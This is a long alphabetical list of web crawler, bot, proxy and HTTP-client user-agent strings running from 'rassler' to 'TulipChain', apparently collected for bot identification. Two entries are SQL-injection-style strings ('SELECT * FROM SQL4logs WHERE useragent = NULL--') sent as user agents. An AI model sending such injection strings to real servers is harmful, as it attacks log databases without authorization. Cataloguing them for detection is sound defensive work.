Bot rassler/0.4 (+http://bot.macrothela.net/)

Bot rassler/0.5 (+http://bot.macrothela.net/)

Bot rassler/0.6 (+http://bot.macrothela.net)

Bot rassler/0.7 (+http://bot.macrothela.net)

Bot rassler/0.8 (+http://bot.macrothela.net)

Bot rassler/0.9 (+http://bot.macrothela.net)

Bot Raymond Balmčs/Nutch-1.0 (spiderman; http://www.balmes.com ; raymond.balmes@gmail.com)

Bot razorbak

Bot rbot http util 0.9.11-rc2 (master branch, revision c9bd2bc, local changes) (http://ruby-rbot.org)

Bot rbot http util 0.9.15-git (http://ruby-rbot.org)

Bot rdfbot/1.0 ( Indian Language Web Search Engine ; Rediff.com ; rdfbotsupport AT rediffmailpro DOT com )

Bot rdfbot/1.0 (Indian Language Web Search Engine; Rediff.com; rdfbotsupport AT rediffmailpro DOT com)

Bot rdfbot/1.0 (rdfbot-support@rediffmailpro.com)

Bot rdfbot/1.0 (rdfbotsupport AT rediffmailpro DOT com)

Bot rdfbot/Nutch-1.0-dev

Bot Read%20It%20Later%20Free/2.0.4 CFNetwork/459 Darwin/10.0.0d3

Bot Read%20It%20Later%20Free/2.0.5 CFNetwork/459 Darwin/10.0.0d3

Bot Read%20It%20Later%20Pro/2.0.3 CFNetwork/459 Darwin/10.0.0d3

Bot REAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project)

Bot REAP-crawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)

Bot REBI-Shoveler v0.1

Bot RED/1 (http://redbot.org/)

Bot RedBot/1.1 (Indian Language Web Search Engine; Rediff.com; pvvpr at iiit dot ac dot in)

Bot RedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com)

Bot REDIRECT_FROM_SEO

Bot RegexBuddy

Bot REL Link Checker Lite 1.0

Bot renlifangbot/1.0 (+http://search.msn.com/msnbot.htm)

Bot research-scan-bot/Nutch-1.0

Bot RixBot (http://babelserver.org/rix)

Bot RixBot (http://babelserver.org/rix/)

Bot RKC Webcrawler/1.0 (TestDrive; +http://www.kochavchadash.com/webcrawler/webcrawler.aspx)

Bot RKC Webcrawler/1.0 (TestDrive;http://www.kochavchadash.com/webcrawler/webcrawler.aspx)

Bot RoadRunner/Nutch-1.0 (webmaster@fieldtech.org)

Bot Robobot FOOABR

Bot roboo/Nutch-1.0 (roboo; http://wap.roboo.com; winter.pi@roboo.com)

Bot roboobot/1.0 (roboo; http://wap.roboo.com; winter.pi@roboo.com)

Bot roboobot/Nutch-1.0 (roboobot; http://wap.roboo.com; winter.pi@roboo.com)

Bot robot46

Bot robotgenius

Bot robotgenius (http://robotgenius.net)

Bot Robotgenius crawler/Nutch-1.0-dev (http://robotgenius.net; misc at robotgenius dot net)

Bot robotgenius/Nutch-1.0-dev

Bot Robots Bot

Bot Robozilla/1.0

Bot Rojo 1.0

Bot Rome Client (http://tinyurl.com/64t5n) Ver: 0.9

Bot Ronzoobot/1.4 (http://www.ronzoo.com/about/)

Bot rootlink/0.1

Bot RoRobbot (compatible; MSIE 7.0; Windows NT 6.0)

Bot RPT-HTTPClient/0.3-3E

Bot RPT-HTTPClient/3.3.3

Bot RSS-Reader/0.2 (R&D project; http://everestbot.vulcan.com/bothelp)

Bot RSS-SPIDER (http://www.rss-spider.com/submit200709.php)

Bot RssReader/1.0.88.0 (http://www.rssreader.com) Microsoft Windows NT 6.1.7600.0

Bot ru_viewer2 larbin2.6.3@unspecified.mail

Bot Ruby

Bot Ruby/1.8.6

Bot Ruby/1.8.7

Bot Ruby_test

Bot RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)

Bot RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)

Bot ruijie larbin@unspecified.mail

Bot Ruky-Bot (Version: 1.06, powered by www.ruky.de +http://www.ruky.de/bot.html)

Bot Ruky-Roboter (Version: 1.06, powered by www.ruky.de +http://www.ruky.de/bot.html)

Bot RwB's spider for atUKplc. Version 0.0.3ish

Bot S2Bot/1.0 (http://search2.net)

Bot S2Bot/1.0 (http://search2.net; bot[at]search2[dot]net)

Bot S5-E32PVAMTU8NJS

Bot sad

Bot SafariBookmarkChecker/1.27 (+http://www.coriolis.ch/)

Bot SafariBookmarkChecker/1.30 (+http://www.coriolis.ch/)

Bot sait/Nutch-0.9 (SAIT Research; http://www.samsung.com)

Bot SaladSpoon/ShopSalad 1.0 (Search Engine crawler for ShopSalad.com; http://shopsalad.com/en/partners.html; crawler AT sho...

Bot SaladSpoon/ShopSalad 1.0 (Search Engine crawler for ShopSalad.com; http://shopsalad.com/en/partners.html; crawler@shopsa...

Bot Sam Spade 1.14

Bot SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl...

Bot SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl...

Bot SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googl...

Bot SAMSUNG-SGH-i900/1.0; Opera/10.00 (Windows NT 5.1; U; Googlebot/2.1 (+http://www.google.com/bot.html); ru) Presto/2.2.0

Bot SandCrawler - Compatibility Testing

Bot Sangfor Spider

Bot SapphireWebCrawler/1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu)

Bot SapphireWebCrawler/Nutch-1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; lezhao+crawl@cs.c...

Bot SapphireWebCrawler/Nutch-1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; philgooh@cs.cmu.e...

Bot SapphireWebCrawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.e...

Bot Sarcasm/0.2.1.93 (compatible) filecache

Bot sasqia Bot Search

Bot Savvy 1.1 http://anesgysd.byethost7.com/bot.html

Bot SBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)

Bot SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)

Bot SBIder/Nutch-1.0-dev (http://www.sitesell.com/sbider.html)

Bot SBIder/SBIder-0.8.2-dev (http://www.sitesell.com/sbider.html)

Bot SBIder/SBIder-1.0 (http://www.sitesell.com/sbider.html)

Bot SBL-BOT (http://sbl.net)

Bot scaredFox/1.0a; (+http://crawlers.tdmsic.org/scaf_crawler.htm)

Bot Schäuble/Trojaner 2.0 [en] (Windows NT 6.0; U)

Bot schibstedsokbot (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6; +http://www.schibstedsok.no/bot/)

Bot Schism/1.8 (IknowThePiecesFit; CuzIwatchedThemFallAway)

Bot Schloerbot/Nutch-1.0 (Schloer consulting bot; http://schloerconsulting.com/schloerbot)

Bot Schmozilla/v9.14 Platinum

Bot Science Traveller International 1X/1.0

Bot science_crawler_by_informatics.indiana.edu/fil

Bot ScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php)

Bot Scout.Vortex

Bot ScrapeBox v1.0.0

Bot Screaming Frog SEO Spider/1.30

Bot scribdbot_user_agent: Mozilla/5.0 (compatible; Scribdbot/1.0; +http://www.scribd.com)

Bot ScSpider/0.2

Bot SDBot.AKJ (Windows NT 6.0; U; en)

Bot Search Wikia Preview/0.1

Bot Search/1.0.2 CFNetwork/342.1 Darwin/9.4.1

Bot Search/1.0.2 CFNetwork/445.6 Darwin/10.0.0d3

Bot SearchBlox

Bot searchbot admin@google.com

Bot searchdnabot/Nutch-1.0 (SearchDNA bot; http://searchenginedna.com; crawl at searchenginedna dot com)

Bot SearchEngineVerificationCrawler/Nutch-1.0 (The purpose of this crawling is to collect web pages for verifying search eng...

Bot searchevabot/0.1 ( http://searcheva.com/spider.html)

Bot SearchExpress

Bot SearchHub Bot (http://www.insynchro.net)

Bot Searchmee! Spider v0.98a

Bot SearchSight/2.0 (http://SearchSight.com/)

Bot SearchWarp_Crawler/2.0 (http://SearchWarp.com/)

Bot secondwave_aa larbin2.6.3@unspecified.mail

Bot secondwave_ab larbin2.6.3@unspecified.mail

Bot secondwave_ac larbin2.6.3@unspecified.mail

Bot Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1

Bot Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.2

Bot Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2

Bot SeekGen/Nutch-0.9 (SeekGenBot; http://www.seekgen.com; Email)

Bot SELECT * FROM SQL4logs WHERE useragent = NULL--

Bot SELECT * FROM SQL4logs WHERE useragent = NULL-- FirePHP/0.4

Bot Semager/1.1 (http://www.semager.de/blog/semager-bots/)

Bot Semager/1.2 (http://www.semager.de/blog/semager-bots/)

Bot Semager/1.2 http://www.semager.de/blog/semager-bots/

Bot Semager/1.3 http://www.semager.de/blog/semager-bots/

Bot semantics webbot/1.0

Bot SemtoBot/0.1

Bot Semulator/1.0/707SC/SCJ001/SN123456789012345 Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1

Bot Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au)

Bot Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au) + Windows NT 6.0

Bot SEO Consultants Directory CSH Bot V2S User IP:90.27.178.92 from: /tools/headers

Bot Seo Soft/1.49 - http://fr.webmaster-rank.info/?logiciel_de_referencement_gratuit

Bot SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

Bot SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

Bot SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

Bot SEO[.AG] - Search Engine Optimizer Bot [http://www.seo.ag]

Bot SEOHeap SiteAnalysis (+http://www.seoheap.com/sa)

Bot SEOSearch [Crawler]

Bot Servage Robot ( http://www.servage.net/page/robot/ )

Bot Server/Nutch-1.2

Bot ServerOutlook/4.0

Bot SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)

Bot SexShop.sg/Nutch-1.1 (www.SexShop.sg; crawler@www.sexshop.sg)

Bot SeznamBot/1.0

Bot SeznamBot/2.0 (+http://fulltext.sblog.cz/robot/)

Bot SeznamBot/2.0 (+http://fulltext.seznam.cz/)

Bot SeznamBot/3.0-alpha (+http://fulltext.sblog.cz/)

Bot SeznamBot/3.0-beta (+http://fulltext.sblog.cz/)

Bot SeznamScreenshotator/2.0 (+http://fulltext.seznam.cz/)

Bot ShablastBot 1.0

Bot shaboyi spider

Bot ShadowSurf FREE Anonymous Proxy http://www.shadowsurf.com [en]

Bot Shareaza v1.x.x.xx

Bot SharedService.Crawler

Bot ShareThisFetch/0.1.1

Bot ShareThisFetcher/0.1.2

Bot SharpReader/0.9.6.0 (.NET CLR 1.1.4322.573; WinNT 5.1.2600.0)

Bot SHC/Nutch-1.0 (SemanticHacker Crawler; http://www.semantichacker.com/crawler-info; abuse@semantichacker.com)

Bot SheenBot/SheenBot-1.0.0 (Sheen web crawler)

Bot SheenBot/SheenBot-1.0.1 (Sheen web crawler)

Bot SheenBot/SheenBot-1.0.2 (Sheen web crawler)

Bot SheenBot/SheenBot-1.0.3

Bot SheenBot/SheenBot-1.0.3 (Sheen web crawler)

Bot SheenBot/SheenBot-1.0.4 (Sheen web crawler)

Bot Shelob (shelob@gmx.net)

Bot shelob v1.0

Bot Shim-Crawler

Bot Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp)

Bot ShitEater Bot 1.0

Bot ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)

Bot ShrinkTheWeb.com Crawler v1.0 ( http://www.shrinktheweb.com)

Bot ShrinkTheWeb.com Crawler v1.0 (+http://www.shrinktheweb.com)

Bot SibSocket

Bot Sidobot

Bot Sigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com)

Bot silk/1.0

Bot Silverton/1.0 Crawler

Bot SimilarPages/Nutch-1.0-dev (SimilarPages Nutch Crawler; http://www.similarpages.com; info at similarpages dot com)

Bot SimilarPages/Nutch-1.0-dev (SimilarPages Nutch Crawler; http://www.similarpages.com; info@similarpages.com)

Bot SimplePie/1.1.2 (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20081109150825

Bot SimplePie/1.2.1-dev (Feed Parser; http://simplepie.org; Allow like Gecko) Build/20100919094856

Bot sincap 1.0 ( bu alemin en kral botu)

Bot SindiceBot (heritrix/2.0.2 +http://sindice.com/developers/bot)

Bot SindiceBot/Nutch-1.0-dev (http://sindice.com/dev?section=bot)

Bot SindiceBot/Nutch-1.0-dev (http://sindice.com/developers/bot)

Bot Sirketcebot/v.01 (http://www.sirketce.com/bot.html)

Bot Sirketcebot/v1.0 (http://www.sirketce.com/bot.php)

Bot Site Redirect Checker 2011.1

Bot Site Sniper Pro

Bot Site-Perf.com performance testing bot

Bot SiteFile.org ( http://www.sitefile.org/www.toptruckingcarriers.com.htm )

Bot SiteGuardBot support@@siteguard.com

Bot siteLevel.com/3.0 (http://www.sitelevel.com/)

Bot SitemapsPal.com Sitemaps Spider

Bot SiteSnagger

Bot SiteSpeedBot

Bot SiteSucker/2.2.4

Bot SiteSucker/2.3

Bot SiteSucker/2.3.3

Bot SiteTruth.com site rating system

Bot SiteWinder

Bot SitiDi.net/SitiDiBot/1.0 ( Have Good Day)

Bot SkimFeed (tm) RSS Reader

Bot SkyGrid/1.0 (+http://skygrid.com/partners)

Bot Skywalker/0.1 (Skywalker; anonymous; anonymous)

Bot sledink Bot Search

Bot Sleipnir 2.8.4

Bot Slip Knees 2.1

Bot Slurp

Bot slurp, yahoo! slurp, slurp/2.0, inktomi slurp, slurp.so/1.0

Bot Slurpem.com - Sucken Up The Web

Bot Slurpy Verifier/1.0

Bot SlySearch/1.3 (http://www.slysearch.com)

Bot SmallProxy 3.2 Beta 11

Bot SmallProxy 3.2 Beta 13

Bot SmallProxy 3.2 Beta 14

Bot SmallProxy 3.2 Beta 17

Bot SmallProxy 3.2 Beta 18

Bot SmallProxy 3.2 Beta 19

Bot SmallProxy 3.2 Beta 20

Bot SmallProxy 3.2 Beta 28

Bot SmallProxy 3.3.0 Free

Bot SmallProxy 3.3.5 Free

Bot SmallProxy 3.3.6 Free

Bot SmallProxy 3.3.7 Free

Bot SmallProxy 3.4.0 Free

Bot SmallProxy 3.4.1 Free

Bot SmallProxy 3.4.12 Free

Bot SmallProxy 3.4.6 Free

Bot SmallProxy 3.4.9 Free

Bot SmallProxy 3.5.1

Bot SmallProxy 3.5.2

Bot SmallProxy 3.5.4

Bot SmallProxy 3.5.8

Bot smart.apnoti.com Robot/v1.34 (http://smart.apnoti.com/en/aboutApnotiWebCrawler.html)

Bot smart.apnoti.com Robot/v1.34 (http://smart.apnoti.com/index/aboutApnotiWebCrawler)

Bot smartview larbin2.6.3@unspecified.mail

Bot SmartyBot 2.0 Analytics http://bumblebeegarage.com/howitworks.html

Bot SmithRobot

Bot sna-0.0.1 (mikeelliott@hotmail.com)

Bot sna-0.0.1 mikeelliott@hotmail.com

Bot sna-0.0.1 mikemuzio@msn.com

Bot snap.com beta crawler v0

Bot Snapbot/1.0

Bot Snapbot/1.0 (+http://www.snap.com)

Bot Snapbot/1.0 (Snap Shots, +http://www.snap.com)

Bot Snappy/2.0 ( http://www.urltrends.com/ )

Bot Snipr/Snipurl 404 Checker - http://snipr.com/site/404checker

Bot Snoopy v0.94

Bot Snoopy v1.01

Bot Snoopy v1.2

Bot Snoopy v1.2.3

Bot Snoopy v1.2.3 modified version/1.0 (Cyber Agent,Inc.; rv:1.0.1.1 http://ameblo.jp/star-emily/)

Bot Snoopy v1.2.3 modified version/1.0 (Seesaa Corp.; rv:1.0.0.1 http://star-akina.seesaa.net/)

Bot Snoopy v1.2.4

Bot socbot search@socbay.com

Bot Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (iMac10%2C1)

Bot Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (iMac11%2C1)

Bot Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro3%2C1)

Bot Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro5%2C2)

Bot Socialite/1189 CFNetwork/454.9.4 Darwin/10.3.0 (i386) (MacBookPro5%2C5)

Bot Socialite1081 CFNetwork/438.14 Darwin/9.8.0 (0000) DDDDDDDDDDDDD

Bot SocialSpider-Finder/0.2

Bot SockrollBot/.01 (+http://www.sockroll.com/roll/SockrollBot)

Bot SOFTWING_TEAR_AGENT_1_0

Bot Sogou dev spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot sogou develop spider

Bot Sogou develop spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou head spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou Orion spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot sogou push spider

Bot Sogou Push Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot sogou spider

Bot sogou spider2(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou Video /3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot sogou web spider http://www.sogou.com/docs/help/webmasters.htm#07

Bot Sogou web spider R1/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot sogou web spider(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou+test+robot+(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou+web+robot+(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Sogou-Test-Spider/4.0 (compatible; MSIE 5.5; Windows 98)

Bot Sogou-Test-Spider/4.0 (compatiblsadasdasdasdasdasdit is justtest)

Bot sohu agent

Bot sohu-search

Bot SolomonoBot/1.01 (http://www.solomono.ru)

Bot SonyEricssonK750i/R1N Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1/Nutch-1.0-dev

Bot SonyEricssonK800i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 (Mediobot/1.0 +http://bot.medio.com)

Bot Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)

Bot Sosospider+(+http://help.soso.com/webspider.htm)

Bot Space Bison 2

Bot Space Bison/0.02

Bot Space Bison/0.02 [fu] (VMS; X; SK)

Bot Space Bison/0.02 [fu] (Win67; X; SK)

Bot Space Bison/0.02 [fu] (Win67; X; SK),gzip(gfe) (via translate.google.com)

Bot Space Bison/0.02 [fu] (WinRIP)

Bot SpaceBison/0.01 [fu] (Win67; X; ShonenKnife)

Bot spah/0.1 +mailto:info@ spacaweb.com

Bot spamBLOCK/get.to.db-danish (sjc0.tdmsic.org - Red Hat)

Bot Speedy Spider (Beta/1.0; speedy@entireweb.com)

Bot Speedy Spider (Beta/1.0; www.entireweb.com)

Bot Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/)

Bot Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/)

Bot Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/)

Bot Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/)

Bot Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)

Bot Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/)

Bot Speedy+Spider+(http://www.entireweb.com/about/search_tech/speedy_spider/)

Bot Sphere Scout&v4.0 - scout at sphere dot com

Bot Sphider

Bot Sphider2

Bot sphsearch.org/Nutch-1.0 (sphsearch.org; crawler@sphsearch.org)

Bot sphsearch.org/Nutch-1.0-dev (www.sphsearch.org; crawler@sphsearch.org)

Bot spider

Bot Spider (Java EE; Windows NT; +http://www.daniel-nowak-ug.de) Resource Description Engine

Bot Spider Indexer Beta2

Bot Spider.my (+http://spider.my/) Rojak/box0045/Streamyx1M

Bot Spider.TerraNautic.net

Bot Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

Bot Spider/5.0

Bot SpiderBoost/6.0 (compatible; Googlebot/2.2; +http://www.google.com/bot.html)

Bot SpiderCow-BM

Bot SpiderKU/0.9

Bot SpiderMan/1.0

Bot SpiderMan/Nutch-0.9 (Nutch spiderman; http://spiderman.nutch.com ; MyEmail)

Bot Spock Crawler (http://www.spock.com/crawler)

Bot SpokeSpider/1.0 (http://support.spoke.com/webspider/) Mozilla/5.0 (not really)

Bot Spongelink Spongebot (http://www.spongelink.com/spongebot/spongebot.php)

Bot sproose/0.1 (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com)

Bot sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)

Bot sproose/1.0beta (sproose bot; http://www.sproose.com/bot.html; crawler@sproose.com)

Bot spywareFINDER/get.to.db-danish (sjc0.tdmsic.org - Red Hat)

Bot Squid

Bot Squid hermiod.kunesch.net

Bot SquidClamAV_Redirector 1.7.0

Bot SquidClamAV_Redirector 1.8.2

Bot ssearch_bot (sSearch Crawler; http://www.semantissimo.de)

Bot ssearch_bot/Nutch-1.0 (sSearch Crawler; http://www.semantissimo.de)

Bot SSL Labs (https://www.ssllabs.com/)

Bot StackRambler/2.0 (MSIE incompatible)

Bot StatoolsBot (+http://www.statools.com/bot.html)

Bot StatusNet/0.9.0 (Stand)

Bot StatusNet/0.9.0beta5 (Stand)

Bot StatusNet/0.9.1 (Everybody Hurts)

Bot Stealth Session

Bot Steeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/)

Bot STEROID Download

Bot StoneHttpAgent

Bot STRYDER__00

Bot Student study spider#007

Bot Subtext Version 2.0.0.43 - http://subtextproject.com/ (Microsoft Windows NT 5.2.3790 Service Pack 2; .NET CLR 2.0.50727....

Bot Sumimasen Spider 1.2 webmaster@sumimasen.com

Bot Summify (Summify/1.0; +http://summify.com)

Bot Sunrise XP/2.0

Bot Sunrise/0.42g (Windows XP)

Bot Sunrise/0.42i (Windows XP)

Bot SuperBot/2.5 (Win32)

Bot SuperBot/4.1.0.53 (Windows XP)

Bot SuperBot/4.5.0.65 (Win32)

Bot SuperBot/4.5.0.66 (Windows XP)

Bot SuperBot/4.7.0.70 (Windows XP)

Bot SuperBot/4.7.0.72 (Windows XP)

Bot SuperBot/4.7.0.74 (Windows Vista)

Bot SuperHTTP/1.0

Bot SuperPagesBot

Bot SuperPagesBot/0.1

Bot SuperPagesBot/0.2

Bot SuperPagesBot/1.0

Bot SuperPagesUrlVerifyBot/1.0

Bot SURF

Bot Surf Knight (bot@surfknight.com)

Bot Surf4Me

Bot SurfControl

Bot Survey Robot

Bot SurveyBot/2.3 (Whois Source)

Bot Swami1/Swami-1.1 (Swami Vertical Site Fetcher; devarajaswami at yahoo dot com)

Bot SWAT Crawler. AGH University project. In case of problem contact: opal@tempus.metal.agh.edu.pl. Thanks.

Bot swish-e http://swish-e.org/

Bot SygolBot http://www.sygol.com

Bot SynapticWalker/3.16 (MailWalker 2.1 http://www.websynaptics.com)

Bot Syndk8/0.1337 (Syndk8 Research Crawler; http://research.syndk8.com/; research@syndk8.com)

Bot Synthesio Crawler release MonaLisa (contact at synthesio dot fr)

Bot Syntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler

Bot T-Mobile Dash Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 320x240;) MSNBOT-MOBILE/1.1 (+http://search.ms...

Bot Tagatum TagSpider v0.4b-FF http://tagatum.com/about/

Bot tags2dir.com/0.8 (+http://tags2dir.com/directory/)

Bot TailsweepBlogCrawler/Tailsweep-2.6-SNAPSHOT (http://www.tailsweep.com/; bot at [tailsweep] dot com)

Bot TalkPortalCrawler/1.0

Bot TANNER Spider/Nutch-1.1

Bot Tannoy

Bot Tarantula Web Crawler (1.0;) Author: AMK

Bot Tasapspider/0.9

Bot Tasapspider/0.9 (http://www.tasap.com)

Bot TasBot (compatible; Mozilla 4.0; MSIE 5.5; http://www.toboads.si/)

Bot Tasty/1.0.6 (iPhone OS/4.0.1, iPhone, en_GB)

Bot Tcl http client package 2.4.2

Bot Tcl http client package 2.5.2

Bot Tcl http client package 2.5.3

Bot Tcl http client package 2.7.3

Bot TDMSIC.ORG - Red Hat Enterprise Linux 5.3

Bot TeamSoft WinInet Component

Bot TecAce.LawServiceAgent.0131

Bot Technoratibot/0.7

Bot Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@net...

Bot Teemer (NetSeer, Inc.; http://www.netseer.com/crawler.html; crawler@netseer.com)

Bot Teleport Pro/1.29

Bot Telligent.Common (Microsoft Windows NT 5.2.3790 Service Pack 2; .NET CLR 2.0.50727.3603;)

Bot Telling/0.1.8.72 (compatible) filecache

Bot temaseek.com/Nutch-1.0 (temaseek.com; crawler@temaseek.com)

Bot TencentTraveler 4.0

Bot Teoma

Bot Teoma/Nutch-1.0 (Mozilla/5.0 (compatible; Ask Jeeves/Teoma); http://about.ask.com/en/docs/about/webmasters.shtml)

Bot Teoma/Nutch-1.2 ( Question and Answer Search; Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/t...

Bot test bot

Bot Test crawler Nutch/Nutch-1.0-dev (Nutch Test Project; changkuk@cmu.edu)

Bot test spider

Bot Test-Fetcher-0.1/Nutch-0.9 (Awesomeness)

Bot Test.Buzzz/Nutch-0.8.1 (Test.Buzz; http://test.com; test@test.com)

Bot test/Nutch-0.8.1 (Test robot; http://test.com; info at test.com>)

Bot test/unique/Nutch-0.8.1

Bot test_rodo

Bot TestBot-YSTReltools

Bot TestBot/Nutch-1.1

Bot TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com)

Bot TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://chitchit.org/TestCrawler.html; amitjain at spro dot net)

Bot testRobot

Bot TestSpider/Nutch-1.0-dev

Bot TFC 3.0

Bot ThaiSUE-Crawler

Bot The Expert HTML Source Viewer (http://www.expert-html.com)

Bot The Incutio XML-RPC PHP Library -- WordPress/3.0.4

Bot The Incutio XML-RPC PHP Library -- WordPress/3.1

Bot the.cyrus.hellborg.sharecrawler resilient community darknet tool http://cyrus-hellborg.appspot.com/?excerpt=sharecrawler

Bot Theme/0.1.8.72 (compatible) filecache

Bot TheRarestParser (http://therarestwords.com/)

Bot TheRarestParser/0.2a

Bot TheRarestParser/0.2a (http://therarestwords.com/)

Bot TheRarestParser/0.4b (http://rarestblog.com/therarestparser/)

Bot ThingFetcher

Bot ThingFetcher; (+http://thinglabs.com)

Bot THis is EricBot mkay.{}sdfw21

Bot ThumbShots-Bot (+http://thumbshots.in/bot.html)

Bot thumbshots-de-bot (+http://www.thumbshots.de)

Bot thumbshots-de-bot (+http://www.thumbshots.de)

Bot thumbshots-de-bot (+http://www.thumbshots.de/)

Bot thumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de)

Bot tidnncaurbx wrqboTd j

Bot TinDog2

Bot TinEye/1.0 (http://tineye.com/crawler.html)

Bot TinEye/1.1 (http://tineye.com/crawler.html)

Bot tinyspider-mayu-paulli

Bot Tipiweb/Nutch-1.0 (http://www.tipiweb.net)

Bot TL32Sn

Bot tlg-google-93465

Bot TMBot (TMBot; www.TM.com)

Bot TMCrawler

Bot tmsnbot/1.0 (+http://search.msn.com/msnbot.htm)

Bot to-night-Bot (Version: 1.06, powered by www.to-night.de +http://www.to-night.de/pfadzurbotseite/bot.html)

Bot toddwe6 l tcaoddtEnmbeokndrebiu

Bot tomocha love/4.0 WindowsNT 5.0

Bot toofaan/Nutch-1.0 (http://www.toofaan.com)

Bot topicblogs/0.9

Bot Toplistbot

Bot topyx-crawler

Bot Touche (+http://www.touche.com.ve)

Bot TOWNNEWS Internal server agent

Bot TraceLink 0.1

Bot TrackBack/1.02

Bot trafficbloater/1.0+(TrafficBloater;+http://www.trafficbloater.com)

Bot Trailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com)

Bot Trailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot travel-search

Bot trendictionbot

Bot TRINIDAD-1266 FirePHP/0.1.2

Bot TrueKnowledgeBot (http://www.trueknowledge.com/tkbot/; tkbot -AT- trueknowledge _dot_ com)

Bot trunk.ly spider contact@trunk.ly

Bot Tsinghua AI Lab Robot

Bot Tsinghua AI Lab Robot 2.0

Bot TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17

Bot TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8

